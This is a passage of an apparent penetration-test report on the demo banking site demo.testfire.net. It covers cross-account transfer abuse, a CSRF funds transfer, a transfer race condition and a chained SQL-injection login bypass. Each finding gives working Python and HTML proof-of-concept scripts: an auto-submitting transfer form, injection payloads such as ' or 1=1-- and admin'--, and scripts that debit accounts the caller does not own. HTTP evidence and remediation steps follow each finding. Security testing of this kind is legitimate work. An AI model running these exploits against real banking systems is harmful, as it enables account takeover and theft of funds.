token = s.post(BASE + "/api/login",
json={"username": "jsmith", "password": "demo1234"},
timeout=20).json()["Authorization"]
H = {"Authorization": "Bearer " + token, "Content-Type": "application/json"}

def balance(acct):
r = s.get(BASE + f"/api/account/{acct}", headers=H, timeout=25)
return decimal.Decimal(r.json()["balance"].replace("$", "").replace(",", ""))
```

```
VICTIM = "800001" # NOT in GET /api/account for jsmith
MINE = "800019" # jsmith-owned

def transfer(src, dst, amt):
body = {"fromAccount": src, "toAccount": dst, "transferAmount": amt}
return s.post(BASE + "/api/transfer", headers=H, data=json.dumps(body), timeout=25)

owned = [a["id"] for a in s.get(BASE + "/api/account", headers=H, timeout=20).json()["Accounts"]]
assert VICTIM not in owned and MINE in owned

v0, m0 = balance(VICTIM), balance(MINE)
print(f"before: victim {VICTIM}={v0} attacker {MINE}={m0}")

r = transfer(VICTIM, MINE, 1) # debit an account we do not own
print("exploit:", r.status_code, r.text)

v1, m1 = balance(VICTIM), balance(MINE)
print(f"after: victim {VICTIM}={v1} (delta {v1-v0}) attacker {MINE}={m1} (delta {m1-m0})")

transfer(MINE, VICTIM, 1) # reverse for cleanup
```

EVIDENCE

Ownership of the victim account was disproved first: `GET /api/account` for `jsmith` returns accounts `800002`, `800003`, `4539082039396288`, `800011`, `800013`–`800021`, `800024`, `800030` and does **not** include `800001`.

Exploit request and response:

```http
POST /api/transfer HTTP/1.1
Host: demo.testfire.net
Authorization: Bearer <jsmith token>
Content-Type: application/json

{"fromAccount":"800001","toAccount":"800019","transferAmount":1}
```

```http
HTTP/1.1 200 OK
{"success":"1.0 was successfully transferred from Account 800001 into Account 800019 at 9/15/26 7:33 PM."}
```

Balances measured through `GET /api/account/<id>` immediately before and after:

```
BEFORE victim 800001 = 998920400617.48 attacker 800019 = 1004.98
AFTER victim 800001 = 998920400616.48 (delta -1.00)
attacker 800019 = 1005.98 (delta +1.00)
RESTORE victim 800001 = 998920400617.48 attacker 800019 = 1004.98
```

Negative-amount variant (same endpoint, own accounts) shows the flow reversal:

```
POST {"fromAccount":"800019","toAccount":"800030","transferAmount":-100}
-> 200 {"success":"-100.0 was successfully transferred from Account 800019 into Account 800030 ..."}
FROM 800019 delta = +100.00 TO 800030 delta = -100.00
```

```
Control: a normal `+100` transfer between the same two own accounts produced `FROM delta =
-100.00`, `TO delta = +100.00`. A different amount class (`"abc"`) was rejected with HTTP 500,
confirming the endpoint parses the amount and that the `-100` case was a genuine accepted transfer
rather than an ignored request.
```

REMEDIATION

1. Authorize every transfer server-side against the authenticated principal: resolve `fromAccount` only from the caller's own account set (the same set returned by `GET /api/account`), and reject the request if the account is not owned by the caller. Do not rely on the client to choose which accounts it may debit.
2. Apply the same ownership check to `toAccount` where the business rule requires the destination to be a known/validated beneficiary, and enforce it inside the transfer transaction, not in a separate lookup that can be raced.
3. Validate `transferAmount` strictly: reject zero, negative, non-numeric and out-of-range values, and reject amounts that exceed the source account's available balance if overdrafts are not intended.
4. Perform the debit and credit in a single atomic, serializable database transaction with a balance/sign re-check inside the transaction so concurrent requests cannot interleave (this also removes the concurrency defect observed on this endpoint).
5. Return a generic authorization error for unowned accounts and log the attempt, so account enumeration through transfer responses is not possible.

13. CSRF on POST /bank/doTransfer allows cross-site funds transfer from a logged-in customer's account

MEDIUM

CVSS 5.3 **Target** https://demo.testfire.net **Endpoint** /bank/doTransfer **Method** POST

DESCRIPTION

The online-banking funds-transfer endpoint `POST /bank/doTransfer` is performed from a cookie-authenticated session and is not protected by any anti-CSRF token, `SameSite` cookie attribute, or `Origin`/`Referer` validation. A cross-origin page can therefore submit a transfer on behalf of a logged-in user without their knowledge.

IMPACT

A logged-in customer who visits a malicious (or compromised) page can have a funds transfer executed from their account to an account chosen by the attacker, with no interaction beyond loading the page and no visible prompt. The amount and destination are fully attacker-controlled, so the attacker can move the entire available balance to themselves. The same absence of protection applies to the other cookie-authenticated state-changing forms exposed by the application, including the account-administration forms under `/admin/`.

TECHNICAL ANALYSIS

`POST /bank/doTransfer` is authenticated solely by the `JSESSIONID` cookie. The application implements none of the three standard CSRF controls:

1. **No anti-CSRF token.** The transfer form on `/bank/transfer.jsp` (`<form id="tForm" name="tForm" method="post" action="doTransfer">`) contains only the `fromAccount`,

`toAccount` and `transferAmount` fields — no hidden token, and no token is required by the handler. The same is true of the `/admin/addUser`, `/admin/changePassword` and `/admin/addAccount` forms.

2. **No `SameSite` attribute** on the session cookie: `Set-Cookie: JSESSIONID=...; Path=/; Secure; HttpOnly`. In browsers that apply `Lax`-by-default this still permits the cookie to be attached to a top-level cross-site POST within the browser's short "freshly set cookie" window after authentication; in browsers or webviews that do not apply that default the cookie is attached unconditionally.
3. **No `Origin`/`Referer` validation.** A request with `Origin: https://evil.example` and `Referer: https://evil.example/poc.html` was processed and executed normally, showing the server never inspects these headers.

The attack is a standard top-level cross-site form POST, which is a "simple request" and therefore requires no CORS preflight. Because the endpoint accepts `application/x-www-form-urlencoded`, the attacker page needs only an auto-submitting form. There is no user-visible confirmation step and the response renders the normal transfer page, so the victim sees no prompt.

A same-page experiment isolates the browser behaviour from the application behaviour: with a freshly issued cookie the cross-origin POST carried `Cookie: JSESSIONID=...` (alongside `Sec-Fetch-Site: cross-site`) and the transfer executed; the identical request issued ~140 s later carried no `Cookie` header at all and the server answered `302` to `login.jsp`, even though a `GET /bank/main.jsp` executed one second earlier returned `200` and confirmed the session was still authenticated. This confirms the constraint originates from the browser's `Lax`-by-default handling of the unspecified-`SameSite` cookie, not from any application-side control.

PROOF OF CONCEPT

1. Log in to `https://demo.testfire.net` as the victim user so the browser holds a valid `JSESSIONID`.
2. Host the following page on any other origin (here `http://127.0.0.1:8899/csrf.html`) and have the victim load it while still logged in.

```
<form id="f" action="https://demo.testfire.net/bank/doTransfer" method="POST">
<input name="fromAccount" value="800019">
<input name="toAccount" value="800030">
<input name="transferAmount" value="7">
</form>
<script>document.getElementById('f').submit();</script>
```

3. The browser submits an `application/x-www-form-urlencoded` cross-site POST to `/bank/doTransfer`, attaching the victim's session cookie because the cookie carries no `SameSite` attribute and no anti-CSRF token is required.
4. The server processes the transfer without checking `Origin` or `Referer`; the response is the normal transfer page and the victim's balance is reduced by the attacker-chosen amount.
5. Verify the balance change independently through `GET /api/account/800019` (before `997.98`, after `990.98`) and the destination `GET /api/account/800030` (before `1312986.02`, after `1312993.02`).
6. Repeat with a session cookie older than the browser's two-minute `Lax` grace window to observe the browser withholding the cookie (negative control) — the server still performs no verification of its own.

POC SCRIPT

```
<!-- csrf.html — hosted on any attacker-controlled origin -->
<!doctype html>
<html><body>
<form id="f" action="https://demo.testfire.net/bank/doTransfer" method="POST">
<input name="fromAccount" value="800019">
<input name="toAccount" value="800030">
<input name="transferAmount" value="7">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
```

```python
# Verification of the effect, independent of the browser response page
import requests

BASE = "https://demo.testfire.net"
s = requests.Session(); s.verify = False
token = s.post(BASE + "/api/login",
json={"username": "jsmith", "password": "demo1234"},
timeout=20).json()["Authorization"]
H = {"Authorization": "Bearer " + token}

def balance(a):
return s.get(BASE + f"/api/account/{a}", headers=H, timeout=20).json()["balance"]

print("victim 800019 before:", balance("800019"))
# victim loads csrf.html -> cross-site POST executes
print("victim 800019 after :", balance("800019"))
print("destination 800030 :", balance("800030"))
```

EVIDENCE

Server-side defence check — a state-changing POST carrying a hostile origin was accepted and executed, proving no token or origin validation exists:

```http
POST /bank/doTransfer HTTP/1.1
Host: demo.testfire.net
Origin: https://evil.example
Referer: https://evil.example/poc.html
Cookie: JSESSIONID=<valid session>
Content-Type: application/x-www-form-urlencoded

fromAccount=800019&toAccount=800030&transferAmount=1
```

```http
HTTP/1.1 200 OK # transfer applied (balance 1019.98 -> 1018.98)
```

Cookie attributes — no `SameSite`:

```http
Set-Cookie: JSESSIONID=A428C5BFC9276FA86D2488FC51F0247D; Path=/; Secure; HttpOnly
Set-Cookie: AltoroAccounts=...; Path=/; Secure; HttpOnly
```

Cross-origin browser exploitation (Chrome 131, attacker page hosted at `http://127.0.0.1:8899`):

```http
POST /bank/doTransfer HTTP/1.1
```

```
Host: demo.testfire.net
Origin: http://127.0.0.1:8899
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8899/
Cookie: JSESSIONID=BAB42C68C02FE6D596DF42B8E594DDEC; AltoroAccounts=...

fromAccount=800019&toAccount=800030&transferAmount=7
```

```http
HTTP/1.1 200 OK
```

Balance change caused by the victim merely loading the attacker page:

```
800019 (victim): 997.98 -> 990.98 (delta -7.00)
800030 (attacker-chosen destination): 1312986.02 -> 1312993.02 (delta +7.00)
```

Negative control (same page, cookie aged ~140 s) — the cookie is not attached, nothing happens, while the session is proven still valid:

```http
GET /bank/main.jsp HTTP/1.1 -> HTTP 200 (session alive)
POST /bank/doTransfer HTTP/1.1
Origin: http://127.0.0.1:8899
Sec-Fetch-Site: cross-site
(no Cookie header) -> HTTP 302 -> login.jsp
```
```
800019 unchanged
```

REMEDIATION

1. Add a per-session anti-CSRF token to every cookie-authenticated state-changing request: generate a cryptographically random token server-side, embed it in the transfer and admin forms, and require and validate it on submission. Reject requests whose token is missing, does not match the session, or is reused outside its intended form.
2. Validate the `Origin` (and, as a fallback, `Referer`) header on all state-changing POSTs and reject requests whose origin is not the application's own origin, including requests with a missing or `null` origin.
3. Mark session cookies `SameSite=Strict` (or `Lax` as a minimum) explicitly rather than relying on browser defaults, and keep `Secure` and `HttpOnly`. Apply the same to the auxiliary `AltoroAccounts` cookie.
4. Enable the Fetch Metadata request headers (`Sec-Fetch-Site`, `Sec-Fetch-Mode`) as defence in depth and reject cross-site navigations to state-changing endpoints.
5. Consider re-authentication or a confirmation step for high-value operations such as funds transfers, and notify the customer of transfers initiated from a new context.

14. Concurrent POST /api/transfer requests are lost while still returning success (missing atomicity)

LOW

CVSS 3.1 **Target** https://demo.testfire.net **Endpoint** /api/transfer **Method** POST

DESCRIPTION

Concurrent calls to the money-transfer endpoint `POST /api/transfer` are not applied atomically. When several transfers from the same source account are submitted at the same time, every request returns HTTP 200 with a success message, but only a subset of them actually takes effect — the remaining transfers are silently discarded.

IMPACT

A transfer the system confirms as successful may not actually be executed, and neither the client nor the customer receives any error. In a banking workflow this is an integrity failure: a debit/credit pair that was reported as complete silently does not exist, so downstream actions taken on the strength of the confirmation (releasing goods, marking a payment settled, updating an external ledger) proceed while the underlying funds never move. The defect is bounded — the affected debit and credit are dropped together, so no value is created and no direct attacker profit was demonstrated — which is why it is rated at low severity rather than as a double-spend. It also represents an unintentional denial of the transfer operation under concurrent load.

TECHNICAL ANALYSIS

`POST /api/transfer` performs a balance update that is not serialized against concurrent requests for the same account. When several transfers from one source account are processed simultaneously, the handler applies a read-modify-write cycle on the account in a way that allows one operation to overwrite another, so the losing operations leave no trace while still returning the normal success payload. The endpoint appears to derive the new balance from a value read earlier in the request rather than from an atomic increment, and it does not lock the account row for the duration of the transaction or use optimistic concurrency control with a version check.

Because the response is generated from the request rather than from the committed result, the client is told the transfer succeeded regardless of whether it persisted. Under sequential load the same code path applies every transfer correctly, which isolates the defect to the absence of concurrency control rather than to request validation.

The lost operations occur in matched debit/credit pairs: the source debit and the destination credit are dropped together, so the total value in the system is unchanged. This bounds the impact to a silent integrity/consistency failure rather than a value-creation primitive, as confirmed by repeated measurement of both sides of every burst.

PROOF OF CONCEPT

1. Authenticate to the API with `POST /api/login` and capture the bearer token.
2. Read the current balances of the source and destination accounts with `GET /api/account/<id>`.
3. Submit N identical `POST /api/transfer` requests (e.g. 8 requests of amount 5) concurrently from multiple threads, all from the same source account to the same destination account.
4. Observe that every response is HTTP 200 with the success message `"<amount> was successfully transferred from Account <src> into Account <dst> ..."`.

5. Re-read both balances: the net change corresponds to fewer transfers than were submitted (for example 4–5 of 8, or 6–7 of 10), so one or more confirmed transfers did not take effect.
6. Repeat the same number of transfers sequentially and observe that all of them apply, confirming the loss is caused by concurrency.
7. Compare the two account deltas: they are always equal and opposite, confirming the missing transfers are dropped in matched pairs.

POC SCRIPT

```
import json, requests, decimal, concurrent.futures as cf

BASE = "https://demo.testfire.net"
token = requests.post(BASE + "/api/login",
json={"username": "jsmith", "password": "demo1234"},
verify=False, timeout=20).json()["Authorization"]
H = {"Authorization": "Bearer " + token, "Content-Type": "application/json"}

def balance(a):
r = requests.get(BASE + f"/api/account/{a}", headers=H, verify=False, timeout=25)
return decimal.Decimal(r.json()["balance"].replace("$", "").replace(",", ""))

SRC, DST, AMOUNT, N = "800017", "800018", 5, 8

def transfer(_):
body = {"fromAccount": SRC, "toAccount": DST, "transferAmount": AMOUNT}
return requests.post(BASE + "/api/transfer", headers=H, data=json.dumps(body),
verify=False, timeout=30).status_code

# sequential control: all N should apply
b0, b1 = balance(SRC), balance(DST)
for _ in range(N):
transfer(_)
print(f"sequential applied {(balance(DST) - b1) / AMOUNT}/{N}")

# concurrent burst: responses say 200, but fewer transfers persist
b0, b1 = balance(SRC), balance(DST)
with cf.ThreadPoolExecutor(max_workers=N) as ex:
codes = list(ex.map(transfer, range(N)))
applied = (balance(DST) - b1) / AMOUNT
print(f"concurrent codes={set(codes)} applied {applied}/{N} "
f"(conserved={balance(SRC) - b0 == -(balance(DST) - b1)})")
```

EVIDENCE

Sequential baseline — the same number of transfers applied in full:

```
SEQUENTIAL 8 x 5 : FROM delta = -40.00 TO delta = +40.00 -> applied 8.00/8
```

Concurrent submission of the identical requests — all responses `200`, only part of them applied:

```
CONCURRENT 10 x 10 round0: codes={200} FROM delta = -70.00 TO delta = +70.00 -> applied 7/10
CONCURRENT 10 x 10 round1: codes={200} FROM delta = -70.00 TO delta = +70.00 -> applied 7/10
CONCURRENT 10 x 10 round2: codes={200} FROM delta = -70.00 TO delta = +70.00 -> applied 7/10
CONCURRENT 8 x 5 round0: codes={200} FROM delta = -20.00 TO delta = +20.00 -> applied 4/8
CONCURRENT 8 x 5 round1: codes={200} FROM delta = -20.00 TO delta = +20.00 -> applied 4/8
CONCURRENT 8 x 5 round2: codes={200} FROM delta = -25.00 TO delta = +25.00 -> applied 5/8
```

````
Representative successful response body for a transfer that was nevertheless discarded:

```json
{"success":"5.0 was successfully transferred from Account 800017 into Account 800018 at 9/15/26
7:47 PM."}
```

Balances were read before and after each burst through `GET /api/account/<id>`; every round was
value-conserving (`FROM delta == -TO delta`), so the requests are lost in matched debit/credit
pairs rather than leaving one side applied. Confirmed across own-account transfers and across
transfers from an account outside the caller's account list.
````

REMEDIATION

1. Make the transfer a single atomic database transaction: read the source balance, apply the debit and credit, and commit under row-level locking (`SELECT ... FOR UPDATE`) or an equivalent serialization mechanism so that concurrent transfers against the same account cannot interleave.
2. Do not acknowledge the transfer to the client until the transaction has committed successfully; if the commit fails or the row is contended, return a retryable error rather than a success message.
3. Introduce an idempotency key for transfer requests so a retried or duplicated submission is applied at most once and the caller can reconcile the outcome deterministically.
4. Where concurrency is expected, queue transfers per account or apply optimistic concurrency control with a version column and retry on conflict.
5. Add an integration test that fires concurrent transfers against a single source account and asserts that the number of persisted transfers equals the number of successful responses.

15. Unauthenticated chained attack: SQL injection login bypass to arbitrary account access and funds theft

CRITICAL

CVSS 9.1 **Target** https://demo.testfire.net **Endpoint** /api/login -> /api/account/{accountNo} -> /api/transfer **Method** POST

DESCRIPTION

An unauthenticated remote attacker can chain a SQL-injection authentication bypass on the login endpoint with a missing authorization check on the funds-transfer API to read any customer's account data and move money out of any account, without ever holding a valid credential or account. Starting from the public login API, the attacker obtains a working bearer token, enumerates and reads arbitrary accounts, and debits an account they do not own into one they nominate — an end-to-end path that requires no credentials at any step.

IMPACT

The chain allows an anonymous internet attacker to (a) obtain an authenticated API session with no credentials, (b) read the balance and full transaction/credit/debit history of any account (every account returned by the account listing was readable), and (c) transfer funds out of an arbitrary account into an attacker-chosen destination. The API returned an explicit success message naming the source and destination, and the balances moved by exactly the requested amount; the transfer handler also accepts arbitrary, huge and negative amounts, so the $1 used in the proof is a non-destructive test choice rather

than a limit of the endpoint. The same unauthenticated injection also yields a web session that renders the full administrative console (user roster, balances, and cleartext credential triplets). This combines a complete authentication bypass with unauthorized modification of financial records, reachable with no prior compromise and no user interaction.

TECHNICAL ANALYSIS

The application exposes two credential-checking entry points that build a SQL statement by string concatenation: the REST endpoint `POST /api/login` (JSON `username`/`password`) and the web form `POST /doLogin` (`uid`/`passw`). The reconstructed statement is `SELECT <one column> FROM PEOPLE WHERE USER_ID='<username>' AND PASSWORD='<password>'`, so a `username` value of `' or 1=1--` terminates the predicate and comments out the password clause. Submitted credentials are lower-cased before concatenation, so the injection is expressed in lower-case.

1. Authentication bypass: `POST /api/login` with `{"username":"' or 1=1--","password":"x"}` returns HTTP 200 with a valid bearer token in the `Authorization` field of the JSON body. The token is then accepted by authenticated endpoints (`GET /api/login` returns `{"loggedin":"true"}`). No valid password is known or supplied.
2. Object-level authorization failure on read: the account endpoints authenticate the caller but never bind the requested account number to that caller. `GET /api/account` returns the accounts visible to the token and `GET /api/account/{accountNo}` returns the balance plus full credits/debits history for any number supplied.
3. Object-level authorization failure on write: `POST /api/transfer` accepts a client-supplied `fromAccount` and performs the transfer without verifying that the caller owns that account. There is no ownership check and no re-derivation of the source account from the session, so any authenticated token can debit any named account into a destination of the attacker's choosing.
4. Web leg: `POST /doLogin` with `uid=admin'--` likewise returns a redirect to the authenticated area, and the resulting session renders `GET /admin/admin.jsp` (HTTP 200) with the full user roster, account balances and cleartext `user:password:role` values — the admin tier is gated by authentication only, not by an administrator role.

Chaining the four steps produces a single unauthenticated path from the public login endpoint to arbitrary account data disclosure and unauthorized funds movement.

PROOF OF CONCEPT

1. Without any credentials, send `POST /api/login` with body `{"username":"' or 1=1--","password":"x"}` and `Content-Type: application/json`. The response is HTTP 200 and contains a usable bearer token.
2. Confirm the token is authenticated: `GET /api/login` with header `Authorization: Bearer <token>` returns `{"loggedin":"true"}`.
3. Enumerate accounts with `GET /api/account` (Authorization header) — the response lists the accounts reachable by the token.
4. Read an account not owned by the caller: `GET /api/account/800000` (Corporate) and `GET /api/account/800001` (Checking) return balances and full transaction history.
5. Record the source and destination balances: `GET /api/account/800001` and `GET /api/account/800019`.
6. Move funds out of the account that was never owned: `POST /api/transfer` with body `{"fromAccount":"800001","toAccount":"800019","transferAmount":1}` and the same

bearer token. The response is HTTP 200 with a success message naming both accounts.

7. Confirm the write: re-read both accounts. The source balance decreases by exactly 1.00 and the destination increases by exactly 1.00.
8. Reverse the movement to restore state: `POST /api/transfer` with `{"fromAccount":"800019","toAccount":"800001","transferAmount":1}`, then re-read both accounts to confirm the original balances are restored.
9. Web leg: `POST /doLogin` with `uid=admin'--` and any password, follow the redirect, then `GET /admin/admin.jsp` — the browser receives HTTP 200 with the administrative console, including user roster, balances and cleartext credential triplets.

POC SCRIPT

```
#!/usr/bin/env python3
"""End-to-end chain: unauthenticated SQLi login bypass -> arbitrary account
read -> unauthorized cross-account transfer. Non-destructive ($1, reversed).
Target (authorized): https://demo.testfire.net
"""
import json
import requests

BASE = "https://demo.testfire.net"
S = requests.Session()

# STEP 1 - unauthenticated: obtain a working token via SQL injection
r = S.post(f"{BASE}/api/login",
json={"username": "' or 1=1-- ", "password": "x"},
headers={"Content-Type": "application/json"})
token = r.json()["Authorization"]
auth = {"Authorization": f"Bearer {token}"}
print("token (no password known):", token)

# STEP 2 - token is authenticated
print(S.get(f"{BASE}/api/login", headers=auth).text) # {"loggedin":"true"}

# STEP 3 - enumerate + read arbitrary accounts (IDOR)
print(S.get(f"{BASE}/api/account", headers=auth).text)
print(S.get(f"{BASE}/api/account/800000", headers=auth).text) # not owned

VICTIM, DEST = "800001", "800019"
def bal(acct):
return json.loads(S.get(f"{BASE}/api/account/{acct}", headers=auth).text)["balance"]

# STEP 4 - baseline balances
vict_before, dest_before = bal(VICTIM), bal(DEST)
print("before:", vict_before, dest_before)

# STEP 5 - EXPLOIT: debit an account the caller does not own
r = S.post(f"{BASE}/api/transfer",
json={"fromAccount": VICTIM, "toAccount": DEST, "transferAmount": 1},
headers={"Content-Type": "application/json", **auth})
print("transfer:", r.text) # "1.0 was successfully transferred from ... 800001 into ... 800019"

# STEP 6 - confirm the write
print("after :", bal(VICTIM), bal(DEST)) # victim -1.00, dest +1.00

# STEP 7 - reverse and verify restoration
S.post(f"{BASE}/api/transfer",
json={"fromAccount": DEST, "toAccount": VICTIM, "transferAmount": 1},
headers={"Content-Type": "application/json", **auth})
```

```
print("restored:", bal(VICTIM), bal(DEST))

# STEP 8 - web leg: unauth SQLi login -> admin console
w = requests.Session()
w.post(f"{BASE}/doLogin", data={"uid": "admin'-- ", "passw": "x"})
print("admin console:", w.get(f"{BASE}/admin/admin.jsp").status_code) # 200
```

EVIDENCE

Step 1 - unauthenticated token issuance from the injection payload:

```http
POST /api/login HTTP/1.1
Host: demo.testfire.net
Content-Type: application/json

{"username": "' or 1=1-- ", "password": "x"}
```
```http
HTTP/1.1 200 OK
Content-Type: application/json

{"Authorization":"<base64 token>","success":"' or 1=1-- is now logged in"}
```

Step 2 - token accepted with no valid credential:

```http
GET /api/login HTTP/1.1
Authorization: Bearer <base64 token>

HTTP/1.1 200 OK
{"loggedin":"true"}
```

Step 3 - arbitrary account read (source account 800000, never owned by the caller):

```json
{"accountId":"800000","balance":"$99999999900000000000000000000000000000000000.00",
"credits":[{"date":"2004-12-29","amount":"1200","description":"Paycheck","account":"1001160140"},
...],
"debits":[...]}
```

Step 4-7 - unauthorized transfer and real balance movement (source 800001, destination 800019):

```http
POST /api/transfer HTTP/1.1
Authorization: Bearer <base64 token>
Content-Type: application/json

{"fromAccount": "800001", "toAccount": "800019", "transferAmount": 1}
```
```json
{"success":"1.0 was successfully transferred from Account 800001 into Account 800019 at 9/15/26
8:09 PM."}
```

Balance before / after / restored, read back from the account endpoint:

```text
800001 (source, never owned): before $998920400617.48 -> after $998920400616.48 (-1.00) ->
```

```
restored $998920400617.48
800019 (destination) : before $983.98 -> after $984.98 (+1.00) -> restored $983.98
```

The transfer response names both accounts and the balances moved by exactly the requested amount; the reversal restored both balances to their original values, confirming the write is real and value-conserving.

Step 8 - web leg, unauthenticated SQL injection to the administrative console:

```http
POST /doLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded

uid=admin'-- &passw=x
```
```http
HTTP/1.1 302 Found (redirect to the authenticated area)
```
```http
GET /admin/admin.jsp HTTP/1.1

HTTP/1.1 200 OK
<body> ... <a href="/admin/admin.jsp">Edit Users</a> ...
<option value="pdata1admin:admin_hacked:admin">pdata1admin:admin_hacked:admin</option> ... </body>
```

The administrative console renders the full user roster, account balances, and cleartext `user:password:role` triplets to the session that was derived without any valid password.

REMEDIATION

1. Eliminate the injection at its source: replace all string-concatenated credential lookups in `POST /api/login` and `POST /doLogin` with parameterized statements (prepared statements or parameter binding), and validate that the submitted username matches an expected format before it is used.
2. Enforce object-level authorization on every account operation. Do not accept the account identifier the client supplies as the authority to act on it: resolve the caller's permitted accounts server-side from the authenticated session and reject any request whose `accountNo` / `fromAccount` is not in that set with a 403. Apply this consistently to the REST API and the server-rendered web endpoints, which must not diverge.
3. Enforce a server-side administrative role check (not merely authentication) centrally across the admin tier, and stop rendering cleartext credentials in the admin console.
4. Validate transfer amounts server-side: reject zero, negative and out-of-range values, and make the debit and credit a single atomic, serialized transaction so concurrent requests cannot be silently dropped or interleaved.
5. Treat the bearer token as an opaque, server-side session handle rather than a reversible encoding of credentials, and invalidate tokens on logout and after a bounded lifetime.
6. As defense in depth, add anti-CSRF protection (per-session token and `Origin`/`Referer` validation) and set `SameSite` explicitly on session cookies.